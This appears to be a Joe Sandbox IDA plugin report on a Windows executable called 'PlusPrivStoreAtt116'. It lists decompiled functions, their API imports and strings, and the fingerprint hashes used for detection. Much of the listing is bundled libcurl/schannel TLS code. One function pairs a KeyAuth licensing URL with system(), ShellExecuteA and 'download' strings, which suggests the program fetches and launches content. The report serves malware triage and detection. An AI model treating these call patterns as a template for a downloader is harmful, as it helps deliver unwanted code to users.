Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Sleepmemcpy
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789$PRIVATE STORE -
API String ID: 18138616-2486835083
Opcode ID: 02c974ba3ea694fb1581b36dc1d3936bca2f7c19c08318b0ff3533f4e3fd965b
Instruction ID: 9f377d6c5abfc247d9ef980d8a6a5a7cbf32447f06a64486fd07cd27e2b85e0e
Opcode Fuzzy Hash: 02c974ba3ea694fb1581b36dc1d3936bca2f7c19c08318b0ff3533f4e3fd965b
Instruction Fuzzy Hash: 9281E832F1868186EB11DB26E5503AE6B51FF85798F604336EA5D83ADADFBCD081C700

Function 00007FF6029F0090 Relevance: 88.2, APIs: 29, Strings: 21, Instructions: 678stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0104
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0184
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F020B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F027E
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F036F
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0393
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F03CF
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0484
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F04E2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F04F3
strchr.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F05D2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F05E9
strchr.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0604
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0615
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0672
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0684
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0693
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F06D4
strchr.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F06F9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F07C7
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F07D1
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F07DB
strchr.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0844
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F088C
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F08F7
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0937
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0A12
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0A29
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029F0A39

Strings

127.0.0.1/, xrefs: 00007FF6029F0304
pop3, xrefs: 00007FF6029F0A00
smtp, xrefs: 00007FF6029F09E0
imap., xrefs: 00007FF6029F09AB
http, xrefs: 00007FF6029F0A07
ftp., xrefs: 00007FF6029F08BB
ldap, xrefs: 00007FF6029F099C
localhost/, xrefs: 00007FF6029F02EA
ldap., xrefs: 00007FF6029F0989
pop3., xrefs: 00007FF6029F09EF
[%*45[0123456789abcdefABCDEF:.]%c%n, xrefs: 00007FF6029F07A0
%%%02x, xrefs: 00007FF6029F055B
imap, xrefs: 00007FF6029F09BE
file, xrefs: 00007FF6029F0239, 00007FF6029F0270
dict, xrefs: 00007FF6029F0977
%*[^]]%c%n, xrefs: 00007FF6029F07FC
%ld, xrefs: 00007FF6029F0914
ftp, xrefs: 00007FF6029F08D2
smtp., xrefs: 00007FF6029F09CD
dict., xrefs: 00007FF6029F0964
https, xrefs: 00007FF6029F01BC

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$free$strchr$memcpystrcspn$malloc$strtoltolower
String ID: %%%02x$%*[^]]%c%n$%ld$127.0.0.1/$[%*45[0123456789abcdefABCDEF:.]%c%n$dict$dict.$file$ftp$ftp.$http$https$imap$imap.$ldap$ldap.$localhost/$pop3$pop3.$smtp$smtp.
API String ID: 2776400286-1669326226
Opcode ID: 61528fb2984773d5a9f40148fcce857f1341ff16bb59e5e523ed9ff6bec14591
Instruction ID: b302fc9bb57422325ae791d084f978fb4ecd4078b7bc35df4e59ef94e6652b65
Opcode Fuzzy Hash: 61528fb2984773d5a9f40148fcce857f1341ff16bb59e5e523ed9ff6bec14591
Instruction Fuzzy Hash: 90528F21E4C68685FBD18B2294543BE2FE9AF05B8CF644435EE5D866CBEEBCE445C300

Function 00007FF6029A2AB0 Relevance: 40.7, APIs: 16, Strings: 7, Instructions: 402
sleepwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6029A2850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A28B7
Part of subcall function 00007FF6029A2850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2927
Part of subcall function 00007FF6029A2850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2987
Part of subcall function 00007FF6029A2850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A29D7
Part of subcall function 00007FF6029A2850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2A27

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2C58

Part of subcall function 00007FF6029A48D0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A4990

Part of subcall function 00007FF6029FFB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF6029A43FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029FFB32

Part of subcall function 00007FF6029A4320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029A4351

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2CA8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2CE7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2D35
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2D74
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2E28
memcpy.VCRUNTIME140 ref: 00007FF6029A2E4D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2F23
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2F6A
ShellExecuteA.SHELL32 ref: 00007FF6029A3062
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A306A
MessageBoxA.USER32 ref: 00007FF6029A30A0
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A30B1
Sleep.KERNEL32 ref: 00007FF6029A3119
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A3121
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6029A3128

Part of subcall function 00007FF6029A3170: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A327F
Part of subcall function 00007FF6029A3170: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A32C0

Part of subcall function 00007FF6029A3C40: memcpy.VCRUNTIME140 ref: 00007FF6029A3C93

Part of subcall function 00007FF6029A32E0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A33C0

Part of subcall function 00007FF6029A33E0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A34C0

Strings

open, xrefs: 00007FF6029A3059
Failure, xrefs: 00007FF6029A3097
invalidver, xrefs: 00007FF6029A2FE9
success, xrefs: 00007FF6029A2E86
message, xrefs: 00007FF6029A2FB3, 00007FF6029A3071
download, xrefs: 00007FF6029A3025
sessionid, xrefs: 00007FF6029A2EAE

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$system$exitmemcpy$Concurrency::cancel_current_taskExecuteMessageShellSleepmalloc
String ID: Failure$download$invalidver$message$open$sessionid$success
API String ID: 3283070336-3881042241
Opcode ID: 346884651f190215033ea341a8ed912bb79fe097eb9e9889446bc08b30e48f30
Instruction ID: 2c4bd0169986372ea7f3b99d4ebeafd4bbcd6e4e0d0b9851ea289ff069c1816e
Opcode Fuzzy Hash: 346884651f190215033ea341a8ed912bb79fe097eb9e9889446bc08b30e48f30
Instruction Fuzzy Hash: 4602D562E0878285EB00DB65E4443AD2B61FF4579CF605235EE5D87ADADFBCD084C380

Function 00007FF6029DBED0 Relevance: 38.9, APIs: 6, Strings: 16, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140 ref: 00007FF6029DC511
memcpy.VCRUNTIME140 ref: 00007FF6029DC52D

Strings

schannel: an unrecoverable error occurred in a prior call, xrefs: 00007FF6029DBF75
schannel: unable to re-allocate memory, xrefs: 00007FF6029DC00D, 00007FF6029DC476
schannel: failed to decrypt data, need more data, xrefs: 00007FF6029DC43A
schannel: renegotiation failed, xrefs: 00007FF6029DC49E
schannel: Curl_read_plain returned CURLE_RECV_ERROR, xrefs: 00007FF6029DC09D
schannel: renegotiating SSL/TLS connection, xrefs: 00007FF6029DC328
schannel: enough decrypted data is already available, xrefs: 00007FF6029DBF55
schannel: Curl_read_plain returned error %d, xrefs: 00007FF6029DC271
schannel: can't renogotiate, an error is pending, xrefs: 00007FF6029DC492
schannel: SSL/TLS connection renegotiated, xrefs: 00007FF6029DC36F
schannel: can't renogotiate, encrypted data available, xrefs: 00007FF6029DC4B2
schannel: server closed abruptly (missing close_notify), xrefs: 00007FF6029DC4BE
schannel: remote party requests renegotiation, xrefs: 00007FF6029DC2F2
schannel: failed to read data from server: %s, xrefs: 00007FF6029DC462
schannel: server indicated shutdown in a prior call, xrefs: 00007FF6029DBF98
schannel: server closed the connection, xrefs: 00007FF6029DC3A4

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: memcpy
String ID: schannel: Curl_read_plain returned CURLE_RECV_ERROR$schannel: Curl_read_plain returned error %d$schannel: SSL/TLS connection renegotiated$schannel: an unrecoverable error occurred in a prior call$schannel: can't renogotiate, an error is pending$schannel: can't renogotiate, encrypted data available$schannel: enough decrypted data is already available$schannel: failed to decrypt data, need more data$schannel: failed to read data from server: %s$schannel: remote party requests renegotiation$schannel: renegotiating SSL/TLS connection$schannel: renegotiation failed$schannel: server closed abruptly (missing close_notify)$schannel: server closed the connection$schannel: server indicated shutdown in a prior call$schannel: unable to re-allocate memory
API String ID: 3510742995-857957974
Opcode ID: 966759b5d53be3e0d943f949ba4fc5e4ed078181e8ab816f75f7559d8e9d140b
Instruction ID: fcd9141b1b13c8fe41769a89027b2196cf81c417815bb6dbf692ceb6f4b09c28
Opcode Fuzzy Hash: 966759b5d53be3e0d943f949ba4fc5e4ed078181e8ab816f75f7559d8e9d140b
Instruction Fuzzy Hash: 9A02D072A08B4685EB60DB1AD4843BA2BA4FF44B98F704536DE4DC77A6DFB8E441D700

Function 00007FF6029DB360 Relevance: 31.9, APIs: 9, Strings: 9, Instructions: 415
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DB450
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DB4A1
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DB4E4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DB5C7
memcpy.VCRUNTIME140 ref: 00007FF6029DB669
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DB6D2
memcpy.VCRUNTIME140 ref: 00007FF6029DB7AA
memset.VCRUNTIME140 ref: 00007FF6029DB977
CertFreeCertificateContext.CRYPT32 ref: 00007FF6029DB9DA

Strings

SSL: failed retrieving public key from server certificate, xrefs: 00007FF6029DB9FA
schannel: failed to receive handshake, SSL/TLS connection failed, xrefs: 00007FF6029DB7D6
schannel: Failed to read remote certificate context: %s, xrefs: 00007FF6029DBA1A
schannel: next InitializeSecurityContext failed: %s, xrefs: 00007FF6029DB86E, 00007FF6029DBA82
schannel: unable to re-allocate memory, xrefs: 00007FF6029DB4F2
SSL: public key does not match pinned public key!, xrefs: 00007FF6029DB9BC, 00007FF6029DB9E4
schannel: unable to allocate memory, xrefs: 00007FF6029DBACF
schannel: SNI or certificate check failed: %s, xrefs: 00007FF6029DB83B
schannel: failed to send next handshake data: sent %zd of %lu bytes, xrefs: 00007FF6029DB884

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: malloc$memcpy$CertCertificateContextFreefreememsetrealloc
String ID: SSL: failed retrieving public key from server certificate$SSL: public key does not match pinned public key!$schannel: Failed to read remote certificate context: %s$schannel: SNI or certificate check failed: %s$schannel: failed to receive handshake, SSL/TLS connection failed$schannel: failed to send next handshake data: sent %zd of %lu bytes$schannel: next InitializeSecurityContext failed: %s$schannel: unable to allocate memory$schannel: unable to re-allocate memory
API String ID: 860210379-3059304359
Opcode ID: c51a1515f50f637c22297d28eec8f1a9dec197cff128be308b43eba9b8a7ceae
Instruction ID: ee25aa4f601400f20c8cbd1440a1000aee5c30e4d1c5ab4a3aaf3403e6e311a5
Opcode Fuzzy Hash: c51a1515f50f637c22297d28eec8f1a9dec197cff128be308b43eba9b8a7ceae
Instruction Fuzzy Hash: 81126332A08B8186EB60CF2AD8543AE7BA4FF44B9CF210136CA5D97795DFB8D545D700

Function 00007FF6029DA580 Relevance: 30.1, APIs: 4, Strings: 13, Instructions: 348
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF6029DA651
GetProcAddress.KERNEL32 ref: 00007FF6029DA661

Strings

http/1.1, xrefs: 00007FF6029DB077
schannel: ALPN, offering %s, xrefs: 00007FF6029DB085
schannel: using IP address, SNI is not supported by OS., xrefs: 00007FF6029DB043
ntdll, xrefs: 00007FF6029DA64A
schannel: failed to send initial handshake data: sent %zd of %lu bytes, xrefs: 00007FF6029DB2F9
http/1.1, xrefs: 00007FF6029DB063
schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc., xrefs: 00007FF6029DA632
wine_get_version, xrefs: 00007FF6029DA65A
schannel: initial InitializeSecurityContext failed: %s, xrefs: 00007FF6029DB21C, 00007FF6029DB263
Unrecognized parameter passed via CURLOPT_SSLVERSION, xrefs: 00007FF6029DAFFF
schannel: unable to allocate memory, xrefs: 00007FF6029DB157
schannel: SNI or certificate check failed: %s, xrefs: 00007FF6029DB23D
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 00007FF6029DA6F2

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Unrecognized parameter passed via CURLOPT_SSLVERSION$http/1.1$http/1.1$ntdll$schannel: ALPN, offering %s$schannel: SNI or certificate check failed: %s$schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc.$schannel: failed to send initial handshake data: sent %zd of %lu bytes$schannel: initial InitializeSecurityContext failed: %s$schannel: this version of Windows is too old to support certificate verification via CA bundle file.$schannel: unable to allocate memory$schannel: using IP address, SNI is not supported by OS.$wine_get_version
API String ID: 1646373207-2477831187
Opcode ID: d57ec49c3c53d2e7659c321bd1063c803722725deb7dab99f2f8bcb1873c1948
Instruction ID: 3979eff588ea3d74e8908ec43ec0520186a79a050b779fea1ae33bb8cbbf49ce
Opcode Fuzzy Hash: d57ec49c3c53d2e7659c321bd1063c803722725deb7dab99f2f8bcb1873c1948
Instruction Fuzzy Hash: 8B028D32A08B818AEB508F26D8903EE3BA4FF44B8CF604535DA5D87796DFB8E555D700

Function 00007FF6029BBBC0 Relevance: 28.7, APIs: 19, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BBBF2
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BBC8D
InitializeCriticalSectionEx.KERNEL32 ref: 00007FF6029BBCA6

Part of subcall function 00007FF6029D5370: socket.WS2_32 ref: 00007FF6029D53B1

DeleteCriticalSection.KERNEL32 ref: 00007FF6029BBCE0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BBCEA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BBCF4
closesocket.WS2_32 ref: 00007FF6029BBD12
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BBD48
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029BBD4E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BBD7D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BBD97
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BBDA0
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029BBDD5
EnterCriticalSection.KERNEL32 ref: 00007FF6029BBDF6
LeaveCriticalSection.KERNEL32 ref: 00007FF6029BBE0A
CloseHandle.KERNEL32 ref: 00007FF6029BBE17
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BBE42
closesocket.WS2_32 ref: 00007FF6029BBE5B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BBE6F

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$CriticalSection$_errno_strdupclosesocket$CloseDeleteEnterHandleInitializeLeavecallocmallocsocket
String ID:
API String ID: 259767416-0
Opcode ID: 98ff7efcc35b3caf98631185ed50eeb00e79665cefe7d7535eea2b1d5459b9c6
Instruction ID: efb3a9d88216690a28e9ae5a0a270d39e6208ebe6064d4e07a3c863bafa891da
Opcode Fuzzy Hash: 98ff7efcc35b3caf98631185ed50eeb00e79665cefe7d7535eea2b1d5459b9c6
Instruction Fuzzy Hash: 2D815C26A05B8182E725DF12E56026A7760FF98B58F245235DF9E436A2DFBCE4D4C300

Function 00007FF6029C3230 Relevance: 28.6, APIs: 6, Strings: 10, Instructions: 557COMMON

Download Yara Rule

Strings

No more connections allowed to host %s: %zu, xrefs: 00007FF6029C39C2
anonymous, xrefs: 00007FF6029C33E8
Re-using existing connection! (#%ld) with %s %s, xrefs: 00007FF6029C3913
NTLM picked AND auth done set, clear picked!, xrefs: 00007FF6029C3A82
No connections available., xrefs: 00007FF6029C39D1
NTLM-proxy picked AND auth done set, clear picked!, xrefs: 00007FF6029C3AB0
host, xrefs: 00007FF6029C3900
ftp@example.com, xrefs: 00007FF6029C33EF
proxy, xrefs: 00007FF6029C38F2
No connections available in cache, xrefs: 00007FF6029C3C2B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: NTLM picked AND auth done set, clear picked!$NTLM-proxy picked AND auth done set, clear picked!$No connections available in cache$No connections available.$No more connections allowed to host %s: %zu$Re-using existing connection! (#%ld) with %s %s$anonymous$ftp@example.com$host$proxy
API String ID: 0-760484938
Opcode ID: 88e9fff4c20cfb3387b05bb6273276a309f0730b87b5b8ee6ee5db605b16326a
Instruction ID: 5c17448e95b3df79d300959e0f713ed2622d31bccfdd717f9393115907854b20
Opcode Fuzzy Hash: 88e9fff4c20cfb3387b05bb6273276a309f0730b87b5b8ee6ee5db605b16326a
Instruction Fuzzy Hash: BB429D22A09BC291EB59DB2695403B97BA4FF45F88F288575CE5D87786DFB8E460C300

Function 00007FF6029C21C0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029B2471,?,?,?,?,00007FF6029A35A1), ref: 00007FF6029C21D8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C2221

Strings

`, xrefs: 00007FF6029C24BA
<, xrefs: 00007FF6029C245E
v, xrefs: 00007FF6029C24CF
<, xrefs: 00007FF6029C2468
<, xrefs: 00007FF6029C2337

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: callocfree
